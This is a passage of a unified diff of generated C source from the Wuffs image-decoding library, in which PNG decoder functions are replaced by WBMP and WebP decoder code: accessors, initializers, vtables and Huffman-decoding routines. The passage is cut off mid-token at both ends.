wuffs_png__decoder* self) { ++wuffs_wbmp__decoder__frame_dirty_rect( ++ const wuffs_wbmp__decoder* self) { + if (!self) { + return wuffs_base__utility__empty_rect_ie_u32(); + } +@@ -57894,18 +71339,18 @@ wuffs_png__decoder__frame_dirty_rect( + } + + return wuffs_base__utility__make_rect_ie_u32( +- self->private_impl.f_frame_rect_x0, +- self->private_impl.f_frame_rect_y0, +- self->private_impl.f_frame_rect_x1, +- self->private_impl.f_frame_rect_y1); ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height); + } + +-// -------- func png.decoder.num_animation_loops ++// -------- func wbmp.decoder.num_animation_loops + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_png__decoder__num_animation_loops( +- const wuffs_png__decoder* self) { ++wuffs_wbmp__decoder__num_animation_loops( ++ const wuffs_wbmp__decoder* self) { + if (!self) { + return 0; + } +@@ -57914,15 +71359,15 @@ wuffs_png__decoder__num_animation_loops( + return 0; + } + +- return self->private_impl.f_num_animation_loops_value; ++ return 0u; + } + +-// -------- func png.decoder.num_decoded_frame_configs ++// -------- func wbmp.decoder.num_decoded_frame_configs + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_png__decoder__num_decoded_frame_configs( +- const wuffs_png__decoder* self) { ++wuffs_wbmp__decoder__num_decoded_frame_configs( ++ const wuffs_wbmp__decoder* self) { + if (!self) { + return 0; + } +@@ -57931,15 +71376,18 @@ wuffs_png__decoder__num_decoded_frame_configs( + return 0; + } + +- return ((uint64_t)(self->private_impl.f_num_decoded_frame_configs_value)); ++ if (self->private_impl.f_call_sequence > 32u) { ++ return 1u; ++ } ++ return 0u; + } + +-// -------- func png.decoder.num_decoded_frames ++// -------- func wbmp.decoder.num_decoded_frames + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_png__decoder__num_decoded_frames( +- const wuffs_png__decoder* self) { ++wuffs_wbmp__decoder__num_decoded_frames( ++ const wuffs_wbmp__decoder* self) { + if (!self) { + return 0; + } +@@ -57948,15 +71396,18 @@ wuffs_png__decoder__num_decoded_frames( + return 0; + } + +- return ((uint64_t)(self->private_impl.f_num_decoded_frames_value)); ++ if (self->private_impl.f_call_sequence > 64u) { ++ return 1u; ++ } ++ return 0u; + } + +-// -------- func png.decoder.restart_frame ++// -------- func wbmp.decoder.restart_frame + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_png__decoder__restart_frame( +- wuffs_png__decoder* self, ++wuffs_wbmp__decoder__restart_frame( ++ wuffs_wbmp__decoder* self, + uint64_t a_index, + uint64_t a_io_position) { + if (!self) { +@@ -57971,154 +71422,514 @@ wuffs_png__decoder__restart_frame( + + if (self->private_impl.f_call_sequence < 32u) { + return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- } else if ((a_index >= ((uint64_t)(self->private_impl.f_num_animation_frames_value))) || ((a_index == 0u) && (a_io_position != self->private_impl.f_first_config_io_position))) { ++ } ++ if (a_index != 0u) { + return wuffs_base__make_status(wuffs_base__error__bad_argument); + } + self->private_impl.f_call_sequence = 40u; +- if (self->private_impl.f_interlace_pass >= 1u) { +- self->private_impl.f_interlace_pass = 1u; +- } + self->private_impl.f_frame_config_io_position = a_io_position; +- self->private_impl.f_num_decoded_frame_configs_value = ((uint32_t)(a_index)); +- self->private_impl.f_num_decoded_frames_value = self->private_impl.f_num_decoded_frame_configs_value; + return wuffs_base__make_status(NULL); + } + +-// -------- func png.decoder.set_report_metadata ++// -------- func wbmp.decoder.set_report_metadata + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_png__decoder__set_report_metadata( +- wuffs_png__decoder* self, ++wuffs_wbmp__decoder__set_report_metadata( ++ wuffs_wbmp__decoder* self, + uint32_t a_fourcc, + bool a_report) { ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func wbmp.decoder.tell_me_more ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_wbmp__decoder__tell_me_more( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { + if (!self) { +- return wuffs_base__make_empty_struct(); ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } + if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_empty_struct(); ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 4)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); + } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- if (a_fourcc == 1128813133u) { +- self->private_impl.f_report_metadata_chrm = a_report; +- } else if (a_fourcc == 1163413830u) { +- self->private_impl.f_report_metadata_exif = a_report; +- } else if (a_fourcc == 1195461953u) { +- self->private_impl.f_report_metadata_gama = a_report; +- } else if (a_fourcc == 1229144912u) { +- self->private_impl.f_report_metadata_iccp = a_report; +- } else if (a_fourcc == 1263947808u) { +- self->private_impl.f_report_metadata_kvp = a_report; +- } else if (a_fourcc == 1397901122u) { +- self->private_impl.f_report_metadata_srgb = a_report; ++ status = wuffs_base__make_status(wuffs_base__error__no_more_information); ++ goto exit; ++ ++ goto ok; ++ ok: ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func wbmp.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_wbmp__decoder__workbuf_len( ++ const wuffs_wbmp__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++} ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WBMP) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WEBP) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_webp__error__bad_huffman_code_over_subscribed[] = "#webp: bad Huffman code (over-subscribed)"; ++const char wuffs_webp__error__bad_huffman_code_under_subscribed[] = "#webp: bad Huffman code (under-subscribed)"; ++const char wuffs_webp__error__bad_huffman_code[] = "#webp: bad Huffman code"; ++const char wuffs_webp__error__bad_back_reference[] = "#webp: bad back-reference"; ++const char wuffs_webp__error__bad_color_cache[] = "#webp: bad color cache"; ++const char wuffs_webp__error__bad_header[] = "#webp: bad header"; ++const char wuffs_webp__error__bad_transform[] = "#webp: bad transform"; ++const char wuffs_webp__error__short_chunk[] = "#webp: short chunk"; ++const char wuffs_webp__error__truncated_input[] = "#webp: truncated input"; ++const char wuffs_webp__error__unsupported_number_of_huffman_groups[] = "#webp: unsupported number of Huffman groups"; ++const char wuffs_webp__error__unsupported_transform_after_color_indexing_transform[] = "#webp: unsupported transform after color indexing transform"; ++const char wuffs_webp__error__unsupported_webp_file[] = "#webp: unsupported WebP file"; ++const char wuffs_webp__error__internal_error_inconsistent_huffman_code[] = "#webp: internal error: inconsistent Huffman code"; ++const char wuffs_webp__error__internal_error_inconsistent_dst_buffer[] = "#webp: internal error: inconsistent dst buffer"; ++const char wuffs_webp__error__internal_error_inconsistent_n_bits[] = "#webp: internal error: inconsistent n_bits"; ++ ++// ---------------- Private Consts ++ ++static const uint8_t ++WUFFS_WEBP__CODE_LENGTH_CODE_ORDER[19] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 17u, 18u, 0u, 1u, 2u, 3u, 4u, 5u, ++ 16u, 6u, 7u, 8u, 9u, 10u, 11u, 12u, ++ 13u, 14u, 15u, ++}; ++ ++static const uint8_t ++WUFFS_WEBP__REPEAT_N_BITS[4] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 2u, 3u, 7u, 0u, ++}; ++ ++static const uint8_t ++WUFFS_WEBP__REPEAT_COUNTS[4] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 3u, 3u, 11u, 0u, ++}; ++ ++static const uint16_t ++WUFFS_WEBP__HUFFMAN_TABLE_BASE_OFFSETS[5] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 1612u, 0u, 511u, 1022u, 1533u, ++}; ++ ++static const uint8_t ++WUFFS_WEBP__DISTANCE_MAP[120] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 24u, 7u, 23u, 25u, 40u, 6u, 39u, 41u, ++ 22u, 26u, 38u, 42u, 56u, 5u, 55u, 57u, ++ 21u, 27u, 54u, 58u, 37u, 43u, 72u, 4u, ++ 71u, 73u, 20u, 28u, 53u, 59u, 70u, 74u, ++ 36u, 44u, 88u, 69u, 75u, 52u, 60u, 3u, ++ 87u, 89u, 19u, 29u, 86u, 90u, 35u, 45u, ++ 68u, 76u, 85u, 91u, 51u, 61u, 104u, 2u, ++ 103u, 105u, 18u, 30u, 102u, 106u, 34u, 46u, ++ 84u, 92u, 67u, 77u, 101u, 107u, 50u, 62u, ++ 120u, 1u, 119u, 121u, 83u, 93u, 17u, 31u, ++ 100u, 108u, 66u, 78u, 118u, 122u, 33u, 47u, ++ 117u, 123u, 49u, 63u, 99u, 109u, 82u, 94u, ++ 0u, 116u, 124u, 65u, 79u, 16u, 32u, 98u, ++ 110u, 48u, 115u, 125u, 81u, 95u, 64u, 114u, ++ 126u, 97u, 111u, 80u, 113u, 127u, 96u, 112u, ++}; ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__decode_huffman_groups( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_n_huffman_groups); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__decode_huffman_tree( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_hg, ++ uint32_t a_ht); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__decode_huffman_tree_simple( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_hg, ++ uint32_t a_ht); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__decode_code_length_code_lengths( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__build_code_lengths_huffman_nodes( ++ wuffs_webp__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__build_huffman_nodes( ++ wuffs_webp__decoder* self, ++ uint32_t a_hg, ++ uint32_t a_ht); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__build_code_lengths( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__decode_pixels_slow( ++ wuffs_webp__decoder* self, ++ wuffs_base__slice_u8 a_dst, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_width, ++ uint32_t a_height, ++ wuffs_base__slice_u8 a_tile_data, ++ uint32_t a_tile_size_log2); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_webp__decoder__apply_transform_predictor( ++ wuffs_webp__decoder* self, ++ wuffs_base__slice_u8 a_pix, ++ wuffs_base__slice_u8 a_tile_data); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_webp__decoder__absolute_difference( ++ const wuffs_webp__decoder* self, ++ uint32_t a_a, ++ uint32_t a_b); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_webp__decoder__mode12( ++ const wuffs_webp__decoder* self, ++ uint8_t a_l, ++ uint8_t a_t, ++ uint8_t a_tl); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_webp__decoder__mode13( ++ const wuffs_webp__decoder* self, ++ uint8_t a_l, ++ uint8_t a_t, ++ uint8_t a_tl); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_webp__decoder__apply_transform_cross_color( ++ wuffs_webp__decoder* self, ++ wuffs_base__slice_u8 a_pix, ++ wuffs_base__slice_u8 a_tile_data); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_webp__decoder__apply_transform_subtract_green( ++ wuffs_webp__decoder* self, ++ wuffs_base__slice_u8 a_pix); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_webp__decoder__apply_transform_color_indexing( ++ wuffs_webp__decoder* self, ++ wuffs_base__slice_u8 a_pix); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__do_decode_image_config( ++ wuffs_webp__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__do_decode_image_config_limited( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__do_decode_image_config_limited_vp8l( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__do_decode_frame_config( ++ wuffs_webp__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__do_decode_frame( ++ wuffs_webp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__decode_transform( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__decode_color_cache_parameters( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__decode_hg_table( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_width, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__decode_pixels( ++ wuffs_webp__decoder* self, ++ wuffs_base__slice_u8 a_dst, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_width, ++ uint32_t a_height, ++ wuffs_base__slice_u8 a_tile_data, ++ uint32_t a_tile_size_log2); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__swizzle( ++ wuffs_webp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_src, ++ wuffs_base__pixel_blend a_blend); ++ ++// ---------------- VTables ++ ++const wuffs_base__image_decoder__func_ptrs ++wuffs_webp__decoder__func_ptrs_for__wuffs_base__image_decoder = { ++ (wuffs_base__status(*)(void*, ++ wuffs_base__pixel_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__pixel_blend, ++ wuffs_base__slice_u8, ++ wuffs_base__decode_frame_options*))(&wuffs_webp__decoder__decode_frame), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__frame_config*, ++ wuffs_base__io_buffer*))(&wuffs_webp__decoder__decode_frame_config), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__image_config*, ++ wuffs_base__io_buffer*))(&wuffs_webp__decoder__decode_image_config), ++ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_webp__decoder__frame_dirty_rect), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_webp__decoder__get_quirk), ++ (uint32_t(*)(const void*))(&wuffs_webp__decoder__num_animation_loops), ++ (uint64_t(*)(const void*))(&wuffs_webp__decoder__num_decoded_frame_configs), ++ (uint64_t(*)(const void*))(&wuffs_webp__decoder__num_decoded_frames), ++ (wuffs_base__status(*)(void*, ++ uint64_t, ++ uint64_t))(&wuffs_webp__decoder__restart_frame), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_webp__decoder__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ uint32_t, ++ bool))(&wuffs_webp__decoder__set_report_metadata), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__more_information*, ++ wuffs_base__io_buffer*))(&wuffs_webp__decoder__tell_me_more), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_webp__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_webp__decoder__initialize( ++ wuffs_webp__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = ++ wuffs_base__image_decoder__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = ++ (const void*)(&wuffs_webp__decoder__func_ptrs_for__wuffs_base__image_decoder); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_webp__decoder* ++wuffs_webp__decoder__alloc(void) { ++ wuffs_webp__decoder* x = ++ (wuffs_webp__decoder*)(calloc(1, sizeof(wuffs_webp__decoder))); ++ if (!x) { ++ return NULL; + } +- return wuffs_base__make_empty_struct(); ++ if (wuffs_webp__decoder__initialize( ++ x, sizeof(wuffs_webp__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; + } + +-// -------- func png.decoder.tell_me_more ++size_t ++sizeof__wuffs_webp__decoder(void) { ++ return sizeof(wuffs_webp__decoder); ++} ++ ++// ---------------- Function Implementations ++ ++// -------- func webp.decoder.decode_huffman_groups + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_png__decoder__tell_me_more( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 4)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; ++static wuffs_base__status ++wuffs_webp__decoder__decode_huffman_groups( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_n_huffman_groups) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint32_t v_hg = 0; ++ uint32_t v_ht = 0; + +- uint32_t coro_susp_point = self->private_impl.p_tell_me_more[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_huffman_groups; ++ if (coro_susp_point) { ++ v_hg = self->private_data.s_decode_huffman_groups.v_hg; ++ v_ht = self->private_data.s_decode_huffman_groups.v_ht; ++ } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_png__decoder__do_tell_me_more(self, a_dst, a_minfo, a_src); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_png__error__truncated_input); +- goto exit; ++ v_hg = 0u; ++ while (v_hg < a_n_huffman_groups) { ++ v_ht = 0u; ++ while (v_ht < 5u) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_webp__decoder__decode_huffman_tree(self, a_src, v_hg, v_ht); ++ if (status.repr) { ++ goto suspend; ++ } ++ v_ht += 1u; + } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ v_hg += 1u; + } + ++ goto ok; + ok: +- self->private_impl.p_tell_me_more[0] = 0; ++ self->private_impl.p_decode_huffman_groups = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_tell_me_more[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 4 : 0; ++ self->private_impl.p_decode_huffman_groups = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_huffman_groups.v_hg = v_hg; ++ self->private_data.s_decode_huffman_groups.v_ht = v_ht; + + goto exit; + exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } + return status; + } + +-// -------- func png.decoder.do_tell_me_more ++// -------- func webp.decoder.decode_huffman_tree + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_png__decoder__do_tell_me_more( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src) { ++wuffs_webp__decoder__decode_huffman_tree( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_hg, ++ uint32_t a_ht) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c = 0; +- uint16_t v_c2 = 0; +- wuffs_base__io_buffer u_w = wuffs_base__empty_io_buffer(); +- wuffs_base__io_buffer* v_w = &u_w; +- uint8_t* iop_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io0_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint64_t v_num_written = 0; +- uint64_t v_w_mark = 0; +- uint64_t v_r_mark = 0; +- wuffs_base__status v_zlib_status = wuffs_base__make_status(NULL); ++ uint8_t v_c8 = 0; ++ uint32_t v_use_simple = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint8_t* iop_a_dst = NULL; +- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; +- } +- } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -58130,462 +71941,105 @@ wuffs_png__decoder__do_tell_me_more( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_tell_me_more[0]; +- if (coro_susp_point) { +- v_zlib_status = self->private_data.s_do_tell_me_more[0].v_zlib_status; +- } ++ uint32_t coro_susp_point = self->private_impl.p_decode_huffman_tree; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if ((self->private_impl.f_call_sequence & 16u) == 0u) { +- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- goto exit; +- } +- if (self->private_impl.f_metadata_fourcc == 0u) { +- status = wuffs_base__make_status(wuffs_base__error__no_more_information); +- goto exit; ++ if (a_ht >= 4u) { ++ self->private_impl.f_ht_n_symbols = 40u; ++ } else if (a_ht > 0u) { ++ self->private_impl.f_ht_n_symbols = 256u; ++ } else if (self->private_impl.f_color_cache_bits == 0u) { ++ self->private_impl.f_ht_n_symbols = 280u; ++ } else { ++ self->private_impl.f_ht_n_symbols = (280u + (((uint32_t)(1u)) << self->private_impl.f_color_cache_bits)); + } +- do { +- if (self->private_impl.f_metadata_flavor == 3u) { +- while (true) { +- if (wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))) != self->private_impl.f_metadata_y) { +- status = wuffs_base__make_status(wuffs_base__error__bad_i_o_position); +- goto exit; +- } else if (a_minfo != NULL) { +- wuffs_base__more_information__set(a_minfo, +- self->private_impl.f_metadata_flavor, +- self->private_impl.f_metadata_fourcc, +- self->private_impl.f_metadata_x, +- self->private_impl.f_metadata_y, +- self->private_impl.f_metadata_z); +- } +- if (self->private_impl.f_metadata_y >= self->private_impl.f_metadata_z) { +- goto label__goto_done__break; +- } +- self->private_impl.f_metadata_y = self->private_impl.f_metadata_z; +- status = wuffs_base__make_status(wuffs_base__suspension__even_more_information); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ if (self->private_impl.f_n_bits < 1u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; + } +- if (self->private_impl.f_metadata_is_zlib_compressed) { +- if (self->private_impl.f_zlib_is_dirty) { +- wuffs_base__ignore_status(wuffs_zlib__decoder__initialize(&self->private_data.f_zlib, +- sizeof (wuffs_zlib__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); +- if (self->private_impl.f_ignore_checksum) { +- wuffs_zlib__decoder__set_quirk(&self->private_data.f_zlib, 1u, 1u); +- } +- } +- self->private_impl.f_zlib_is_dirty = true; +- self->private_impl.f_ztxt_hist_pos = 0u; ++ self->private_impl.f_bits = ((uint32_t)(v_c8)); ++ self->private_impl.f_n_bits = 8u; ++ } ++ v_use_simple = (self->private_impl.f_bits & 1u); ++ self->private_impl.f_bits >>= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ if (v_use_simple != 0u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- label__loop__continue:; +- while (true) { +- if (a_minfo != 